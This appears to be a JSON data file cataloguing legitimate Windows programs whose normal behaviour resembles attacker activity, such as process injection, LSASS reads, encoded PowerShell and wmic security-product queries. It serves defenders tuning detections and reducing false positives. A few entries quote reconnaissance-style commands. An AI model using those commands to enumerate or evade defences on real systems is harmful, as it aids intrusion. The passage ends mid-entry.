    "_body": "\nexamples:\n  - description: \"Execute Adobe CC Setup and observe the unusual behavior\"\n    command: \"Adobe CC Setup\"\n\n# Adobe CC Setup\n\nAdobe performs...process injection??\n\n\n\nAdobe Creative Cloud setup spawns and injects code to explorer.exe for deleting itself. The injected function calls `WaitForSingleObject(INFINITE)` on the injector's process duplicated handle, then `CloseHandle` it, follows to loop over `DeleteFileW` to retry while it fails with an inner `Sleep(1000)` until success, then calls `ExitProcess(0)`.\n\n*Contributed by Freddy Ouzan (@falsneg), John Harrison (@Cratez)*\n",
    "_source": "wtfbin-adobe-cc-setup.md",
    "capabilities": [
      "security.defenseevasion.process-injection"
    ],
    "description": "Adobe performs...process injection??",
    "execution": {
      "template": "Adobe CC Setup",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "process-manip",
      "stealth"
    ],
    "id": "wtfbin-adobe-cc-setup",
    "name": "Adobe CC Setup",
    "namespace": "wtf:bin:adobe-cc-setup",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/71"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/adobe-cc-setup/"
      }
    ],
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Adobe Genuine Monitor Service and observe the unusual behavior\"\n    command: \"Adobe Genuine Monitor Service\"\n\n# Adobe Genuine Monitor Service\n\nA little LSASS, as a treat.\n\n\n   \nAdobe Genuine Monitor Service (`AGMService.exe`) opens and reads from the LSASS process. While this access is legitimate, it can create false positives for process access alerts.\n\n*Contributed by g1ng3rr00t*\n",
    "_source": "wtfbin-adobe-genuine-monitor-service.md",
    "capabilities": [
      "credential.dump.lsass"
    ],
    "description": "A little LSASS, as a treat",
    "execution": {
      "template": "Adobe Genuine Monitor Service",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip",
      "streaming"
    ],
    "id": "wtfbin-adobe-genuine-monitor-service",
    "name": "Adobe Genuine Monitor Service",
    "namespace": "wtf:bin:adobe-genuine-monitor-service",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/17"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/adobe-genuine-monitor-service/"
      }
    ],
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Adobe Reader (reader_sl.exe) and observe the unusual behavior\"\n    command: \"Adobe Reader\"\n\n# Adobe Reader (reader_sl.exe)\n\nAdobe Reader for no reason starts a subprocess using the command line \"I run\".\n\n*Contributed by 59e5aaf4*\n",
    "_source": "wtfbin-adobe-reader.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Adobe Reader for no reason starts a subprocess using the command line \"I run\"",
    "execution": {
      "template": "Adobe Reader",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "compression",
      "file-system",
      "pipes-stdin",
      "process-manip"
    ],
    "id": "wtfbin-adobe-reader",
    "name": "Adobe Reader (reader_sl.exe)",
    "namespace": "wtf:bin:adobe-reader",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/7"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/adobe-reader/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute ArcGISPortal.exe and observe the unusual behavior\"\n    command: \"ArcGISPortal.exe\"\n\n# ArcGISPortal.exe\n\nNot just bad guys run `whoami`.\n\n\n   \n`ArcGISPortal.exe` runs `whoami.exe`.\nI know other Defenders have been [caught out](https://twitter.com/MikeDaniels00/status/1407383747985653769) by this weird activity. But, ArcGIS spawning whoami is completely legitimate and authorised activity. Huntress telemetry shows ~60,000 in the last 15 hours. I would advice adding this very specific activity to an ignore list, so it does not trigger a detection.\n\n*Contributed by Dray Agha (@purp1ew0lf)*\n",
    "_source": "wtfbin-arcgisportal-exe.md",
    "capabilities": [
      "credential.discovery.whoami"
    ],
    "description": "Not just bad guys run `whoami`",
    "execution": {
      "template": "ArcGISPortal.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "wtfbin-arcgisportal-exe",
    "name": "ArcGISPortal.exe",
    "namespace": "wtf:bin:arcgisportal-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/28"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/arcgisportal-exe/"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute AvastSvc.exe and observe the unusual behavior\"\n    command: \"AvastSvc.exe\"\n\n# AvastSvc.exe\n\nAvast scans your network on the sly.\n\n\n   \nDuring scans, `AvastSvc.exe` will attempt to connect to neighboring IP addresses over SSH. Users such as `FakeDomain\\FakeUser` will be used, as well as blank users/null SIDs.\n\n*Contributed by mttaggart*\n",
    "_source": "wtfbin-avastsvc-exe.md",
    "capabilities": [
      "network.tunnel.ssh"
    ],
    "description": "Avast scans your network on the sly",
    "execution": {
      "template": "AvastSvc.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "wtfbin-avastsvc-exe",
    "name": "AvastSvc.exe",
    "namespace": "wtf:bin:avastsvc-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/38"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/avastsvc-exe/"
      }
    ],
    "techniques": [
      "command-and-control"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Bloodhound.exe and observe the unusual behavior\"\n    command: \"Bloodhound.exe\"\n\n# Bloodhound.exe\n\nNot the Bloodhound you're thinking of.\n\n\n   \nSilver Bullet Technology's Ranger runs an executable called Bloodhound.exe (`C:\\Program Files (x86)\\Silver Bullet Technology\\Ranger\\Logging\\Bloodhound.exe`). It doesn't appear to be SpecterOps's Bloodhound tool for Active Directory mapping, it merely shares a namesake.\n\n*Contributed by Dray Agha (@purp1ew0lf)*\n",
    "_source": "wtfbin-bloodhound-exe.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Not the Bloodhound you're thinking of",
    "execution": {
      "template": "Bloodhound.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-bloodhound-exe",
    "name": "Bloodhound.exe",
    "namespace": "wtf:bin:bloodhound-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/14"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/bloodhound-exe/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute CCM.exe (SCCM) and observe the unusual behavior\"\n    command: \"CCM.exe\"\n\n# CCM.exe (SCCM)\n\nWindows Config Manager CCM.exe runs b64-encoded powershell.  \n\n\n\nThe commands can be large enough to take multiple Event 4104 entries.\n\n*Contributed by mttaggart*\n",
    "_source": "wtfbin-ccm-exe.md",
    "capabilities": [
      "security.execution.powershell"
    ],
    "description": "Windows Config Manager CCM.exe runs b64-encoded powershell",
    "execution": {
      "template": "CCM.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip"
    ],
    "id": "wtfbin-ccm-exe",
    "name": "CCM.exe (SCCM)",
    "namespace": "wtf:bin:ccm-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://docs.microsoft.com/en-us/mem/configmgr/apps/deploy-use/create-deploy-scripts"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/ccm-exe/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Cisco Jabber and observe the unusual behavior\"\n    command: \"Cisco Jabber\"\n\n# Cisco Jabber\n\nCisco enumerates your system.\n\n\n   \n`CiscoJabberPrt.exe` will pipe `ipconfig.exe /all`, `systeminfo.exe`, and `tasklist.exe` into a file named `Systeminfo.txt` inside of the User's `%TEMP%` folder.\n\n*Contributed by Alex Walston (@4ayymm)*\n",
    "_source": "wtfbin-cisco-jabber.md",
    "capabilities": [
      "system.file.write"
    ],
    "description": "Cisco enumerates your system",
    "execution": {
      "template": "Cisco Jabber",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local"
    ],
    "id": "wtfbin-cisco-jabber",
    "name": "Cisco Jabber",
    "namespace": "wtf:bin:cisco-jabber",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/45"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/cisco-jabber/"
      }
    ],
    "techniques": [
      "impact"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute draw.io.exe and observe the unusual behavior\"\n    command: \"draw.io.exe\"\n\n# draw.io.exe\n\nNothing to see here\n\n\n   \n`draw.io.exe` uses `attrib.exe` to hide the file `.dtmp` using the command `attrib +h filename.dtmp.`\n\n*Contributed by Thurein Oo*\n",
    "_source": "wtfbin-draw-io-exe.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Nothing to see here",
    "execution": {
      "template": "draw.io.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-draw-io-exe",
    "name": "draw.io.exe",
    "namespace": "wtf:bin:draw-io-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/53"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/draw-io-exe/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute EaseUS spaceman.exe and observe the unusual behavior\"\n    command: \"EaseUS spaceman.exe\"\n\n# EaseUS spaceman.exe\n\nEaseUS and bizarre Scheduled Tasks.\n\n\n\nThe file is associated with EaseUS Partition Manager or Hard Drive Tools 2003 by TradeTouch.com. Aside from the odd name of the binary, other WTF behaviors include installing to system32 and creating scheduled tasks. These stand out when triaging in PowerShell using `Get-ScheduledTask | Select -Property Author`\n\n*Contributed by Michael Weber \"mthrfcknruckus\" (@mjweber915)*\n",
    "_source": "wtfbin-easeus-spaceman-exe.md",
    "capabilities": [
      "security.persistence.scheduled-task"
    ],
    "description": "EaseUS and bizarre Scheduled Tasks",
    "execution": {
      "template": "EaseUS spaceman.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "batch"
    ],
    "id": "wtfbin-easeus-spaceman-exe",
    "name": "EaseUS spaceman.exe",
    "namespace": "wtf:bin:easeus-spaceman-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://answers.microsoft.com/en-us/windows/forum/all/windows-10-spacemanexe/c60c4d6b-0bca-49e3-8054-68213efbd67a"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/easeus-spaceman-exe/"
      }
    ],
    "techniques": [
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Edge/Chromium Browsers and observe the unusual behavior\"\n    command: \"Edge/Chromium Browsers\"\n\n# Edge/Chromium Browsers\n\nBizarre sub-processes.\n\n\n   \nBrowsers based on Chromium will launch several sub-processes that look extremely suspicious, with command-line options like --utility and --utility-sub-type=unzip.mojom.Unzipper. Despite Google searches for these terms matching malware analysis reports, these are expected behaviors.\n\n*Contributed by mttaggart*\n",
    "_source": "wtfbin-edge-chromium-browsers.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Bizarre sub-processes",
    "execution": {
      "template": "Edge/Chromium Browsers",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "process-manip"
    ],
    "id": "wtfbin-edge-chromium-browsers",
    "name": "Edge/Chromium Browsers",
    "namespace": "wtf:bin:edge-chromium-browsers",
    "platforms": [
      "windows",
      "linux"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://szeged.github.io/sprocket/architecture_overview.html#:~:text=Utility%20process%20is%20created%20right,also%20deals%20with%20extension%20extraction."
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/edge-chromium-browsers/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute EndpointBasecamp.exe, RiskIndexCollector.exe and observe the unusual behavior\"\n    command: \"EndpointBasecamp.exe, RiskIndexCollector.exe\"\n\n# EndpointBasecamp.exe, RiskIndexCollector.exe\n\nA little wmic enumeration\n\n\n   \nTrend Micro `EndpointBasecamp.exe` drops `RiskIndexCollector.exe` which invoke `wmic` to get list of Hotfixes/Patches using the command `wmic qfe get Description, HotfixID, InstalledOn`\n\n*Contributed by Thurein Oo*\n",
    "_source": "wtfbin-endpointbasecamp-exe-riskindexcollector-exe.md",
    "capabilities": [
      "security.execution.wmi"
    ],
    "description": "A little wmic enumeration",
    "execution": {
      "template": "EndpointBasecamp.exe, RiskIndexCollector.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-endpointbasecamp-exe-riskindexcollector-exe",
    "name": "EndpointBasecamp.exe, RiskIndexCollector.exe",
    "namespace": "wtf:bin:endpointbasecamp-exe-riskindexcollector-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://any.run/report/123b7b8262d000d098c4d18bec592f22677d2374bef1e59573a05aeea9a58b3b/73ede74d-a30d-45d2-91c2-cc1870b275f6"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/endpointbasecamp-exe-riskindexcollector-exe/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Run the binary and monitor DNS exfiltration\"\n    command: \"ESET AV Module\"\n\n# ESET AV Module (ekrn.exe)\n\nWhat is it with antivirus and weird DNS?\n\n\n\nESET NOD32 Antivirus kernel (`ekrn.exe`) performs random-looking Domain Name lookups.\n\n*Contributed by Alexandros Pappas (redblueops)*\n",
    "_source": "wtfbin-eset-av-module.md",
    "capabilities": [
      "network.exfiltration.dns"
    ],
    "description": "What is it with antivirus and weird DNS?",
    "execution": {
      "template": "ESET AV Module",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "wtfbin-eset-av-module",
    "name": "ESET AV Module (ekrn.exe)",
    "namespace": "wtf:bin:eset-av-module",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/59"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/eset-av-module/"
      }
    ],
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Run the binary and monitor DNS exfiltration\"\n    command: \"ESET Protection Suite\"\n\n# ESET Protection Suite\n\nEverybody loves a big DNS query!\n\n\n\nVarious modules of ESET protection suite (Antispam, Parental Controls, LiveGrid) perform odd DNS lookups to subdomains of `e5.sk domain.`\n\nExample:\n\n```\nTXT? oa5jhh3yxkgu5kpwgnjmgk54pubqeaqbaeaq.a.e.e5.sk.\nTXT? wzxh7gqaszmunhqg3g5ouiiuwebqeaqbaeaq.a.e.e5.sk.\nTXT? xegjkvpuklfebhejqeve4mltsmbqeaqbaeaq.a.e.e5.sk.\nTXT? vscxkxbn55aelaru6a6y3dxznebqeaqbaeaq.a.e.e5.sk.\nTXT? dc5wtaihc6luvphgub6laccokebqeaqbaeaq.a.e.e5.sk.\n```\n\n*Contributed by Petr Špaček (@pspacek)*\n",
    "_source": "wtfbin-eset-protection-suite.md",
    "capabilities": [
      "network.exfiltration.dns"
    ],
    "description": "Everybody loves a big DNS query!",
    "execution": {
      "template": "ESET Protection Suite",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "wtfbin-eset-protection-suite",
    "name": "ESET Protection Suite",
    "namespace": "wtf:bin:eset-protection-suite",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://support.eset.com/en/kb332-ports-and-addresses-required-to-use-your-eset-product-with-a-third-party-firewall"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/eset-protection-suite/"
      }
    ],
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute explorer.exe and observe the unusual behavior\"\n    command: \"explorer.exe\"\n\n# explorer.exe\n\nGuests are not invited to Everyone shares.\n\n\n   \nSharing a Windows folder with `Everyone` permissions, will cause a failed logon of user `Guest`.\n\n*Contributed by ygil1234*\n",
    "_source": "wtfbin-explorer-exe.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Guests are not invited to Everyone shares",
    "execution": {
      "template": "explorer.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-explorer-exe",
    "name": "explorer.exe",
    "namespace": "wtf:bin:explorer-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://learn.microsoft.com/en-us/answers/questions/224757/failed-type-3-logons-on-domain-workstation-by-gues#:~:text=4%3A56%20AM-,Hello%2C,-Thank%20you%20so"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/explorer-exe/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute gc_worker.exe and observe the unusual behavior\"\n    command: \"gc_worker.exe\"\n\n# gc_worker.exe\n\nBase64-encoded PowerShell from Azure's own agent!\n\n\n   \nThe Azure Connected Machine Agent spawns a process that runs encoded Powershell strings. Triggers when the agent downloads new policies from Azure.\n\n*Contributed by rcegan*\n",
    "_source": "wtfbin-gc-worker-exe.md",
    "capabilities": [
      "security.execution.powershell"
    ],
    "description": "Base64-encoded PowerShell from Azure's own agent!",
    "execution": {
      "template": "gc_worker.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive",
      "pipes-stdin"
    ],
    "id": "wtfbin-gc-worker-exe",
    "name": "gc_worker.exe",
    "namespace": "wtf:bin:gc-worker-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/41"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/gc-worker-exe/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Execute HostedAgent.exe and observe the unusual behavior\"\n    command: \"HostedAgent.exe\"\n\n# HostedAgent.exe\n\nWhoami? HostedAgent, of course!\n\n\n \nTrend Micro WFBS Agent runs `whoami.exe` regularly as SYSTEM for reasons unknown.\n\n*Contributed by Biffalo*\n",
    "_source": "wtfbin-hostedagent-exe.md",
    "capabilities": [
      "credential.discovery.whoami"
    ],
    "description": "Whoami? HostedAgent, of course!",
    "execution": {
      "template": "HostedAgent.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "wtfbin-hostedagent-exe",
    "name": "HostedAgent.exe",
    "namespace": "wtf:bin:hostedagent-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/37"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/hostedagent-exe/"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute IBM's pcsnp.exe triggers SYSTEM cmd.exe and observe the unusual behavior\"\n    command: \"IBM's pcsnp.exe triggers SYSTEM cmd.exe\"\n\n# IBM's pcsnp.exe triggers SYSTEM cmd.exe\n\nIBM's `pcsnp.exe` just...what\n\n\n   \nIBM's `pcsnp.exe` calls `cmd.exe /c mkdir C:\\Temp` from processes such as `mpnotify.exe` and `lsass.exe`. Read the writeup for this; it's amazing.\n\n*Contributed by 59e5aaf4*\n",
    "_source": "wtfbin-ibm-s-pcsnp-exe-triggers-system-cmd-exe.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "IBM's `pcsnp.exe` just...what",
    "execution": {
      "template": "IBM's pcsnp.exe triggers SYSTEM cmd.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-ibm-s-pcsnp-exe-triggers-system-cmd-exe",
    "name": "IBM's pcsnp.exe triggers SYSTEM cmd.exe",
    "namespace": "wtf:bin:ibm-s-pcsnp-exe-triggers-system-cmd-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/58"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/ibm-s-pcsnp-exe-triggers-system-cmd-exe/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute IBM Storage Insights Data Collector and observe the unusual behavior\"\n    command: \"IBM Storage Insights Data Collector\"\n\n# IBM Storage Insights Data Collector\n\nIBM creates WMI false positives\n\n\n   \nThe data collector periodically runs a command like: `cmd.exe /c wmic process call create `C:\\...\\datacollectorbin\\collectorSrvWatchDog.bat`.\n\nThis may trigger detection rules geared towards T1047: Windows Management Instrumentation which look for `wmic.exe` being used to covertly spawn processes.\n\n*Contributed by Micah Babinski (@mbabinski), William Rotchford*\n",
    "_source": "wtfbin-ibm-storage-insights-data-collector.md",
    "capabilities": [
      "security.execution.wmi"
    ],
    "description": "IBM creates WMI false positives",
    "execution": {
      "template": "IBM Storage Insights Data Collector",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-ibm-storage-insights-data-collector",
    "name": "IBM Storage Insights Data Collector",
    "namespace": "wtf:bin:ibm-storage-insights-data-collector",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://www.ibm.com/support/pages/carbon-black-security-alert-executing-wmicexe"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/ibm-storage-insights-data-collector/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute iManage Document Protection and observe the unusual behavior\"\n    command: \"iManage Document Protection\"\n\n# iManage Document Protection\n\nRandom file extensions from iManage\n\n\n   \nWhen Office documents are protected by iManage, upon opening them they create script files in `%TEMP%` with a randomly generated file extension (such as `.hta`, `.sct`, `.inf`, `.cpl`, `.wsf`, etc.). This happens because iManage implements the `Path.GetRandomFileName` Method to handle this behavior. So while most instances result in files that look like `x191krbu.idj`, sometimes they end up being written like `x191krbu.hta` which likely will wreak havoc on a good defender's SIEM rules.\n\n*Contributed by Chris Beckett (@cbecks_2)*\n",
    "_source": "wtfbin-imanage-document-protection.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Random file extensions from iManage",
    "execution": {
      "template": "iManage Document Protection",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "id": "wtfbin-imanage-document-protection",
    "name": "iManage Document Protection",
    "namespace": "wtf:bin:imanage-document-protection",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/39"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/imanage-document-protection/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Ivanti Endpoint Manager and observe the unusual behavior\"\n    command: \"Ivanti Endpoint Manager\"\n\n# Ivanti Endpoint Manager\n\nIvanti does some weird stuff\n\n\n   \nThe command-line arguments for the exes listed below occasionally contain fragmented, seemingly-random strings containing special unicode characters, what looks like bits of HTML or XML tags, and/or URL-enocoded strings. For example:\n* LDdrives.exe -p 51205 -c -s -b5D€\u001aCv\n* LDdrives.exe -p 51205 -c -s -b8µq\n* LDdrives.exe -p 51205 -c -s \"-b8</timer>¶(+N& \"\n* LDmemory.exe -p 51207 -c -s \"-b32164/><key nam=ÂgËo�\"\n* LDnetwork.exe -p 51214 -c -s -b10</timer>žÊ/€/�\n\nThese processes all spawn instances of Console Host (conhost.exe) with the 0x4 flag, like `C:\\Windows\\system32\\conhost.exe 0x4`.\n\n*Contributed by Micah Babinski (mbabinski)*\n",
    "_source": "wtfbin-ivanti-endpoint-manager.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Ivanti does some weird stuff",
    "execution": {
      "template": "Ivanti Endpoint Manager",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-ivanti-endpoint-manager",
    "name": "Ivanti Endpoint Manager",
    "namespace": "wtf:bin:ivanti-endpoint-manager",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/22"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/ivanti-endpoint-manager/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute JetBrains binaries invoke WMI and observe the unusual behavior\"\n    command: \"JetBrains binaries invoke WMI\"\n\n# JetBrains binaries invoke WMI\n\nJetBrains queries security tools.\n\n\n   \n`idea64.exe` and `rider64.exe` from JetBrains query the installed antivirus product in the exact same way that malicious programs do using the command:\n\n```bat\nwmic /namespace:\\\\root\\securitycenter2 path antivirusproduct get displayname,productstate\n```\n\n*Contributed by Thurein Oo*\n",
    "_source": "wtfbin-jetbrains-binaries-invoke-wmi.md",
    "capabilities": [
      "security.execution.wmi"
    ],
    "description": "JetBrains queries security tools",
    "execution": {
      "template": "JetBrains binaries invoke WMI",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-jetbrains-binaries-invoke-wmi",
    "name": "JetBrains binaries invoke WMI",
    "namespace": "wtf:bin:jetbrains-binaries-invoke-wmi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://rider-support.jetbrains.com/hc/en-us/community/posts/360010724079-Why-is-Rider-making-wmic-commands-to-get-AntiVirus-name-"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/jetbrains-binaries-invoke-wmi/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute LogMeIn and CScript and observe the unusual behavior\"\n    command: \"LogMeIn and CScript\"\n\n# LogMeIn and CScript\n\nWho doesn't love CScript?\n\n\n   \nLogMeIn runs `avfilter.js` via `cscript` to check what AV is running on your system for some godawful reason. As far as I am aware, they have yet to provide any substantial documentation or reasoning as to why.\n\n*Contributed by t3chn1qu3_/WSP (@t3chn1qu3_WSP)*\n",
    "_source": "wtfbin-logmein-and-cscript.md",
    "capabilities": [
      "security.execution.script"
    ],
    "description": "Who doesn't love CScript?",
    "execution": {
      "template": "LogMeIn and CScript",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-logmein-and-cscript",
    "name": "LogMeIn and CScript",
    "namespace": "wtf:bin:logmein-and-cscript",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
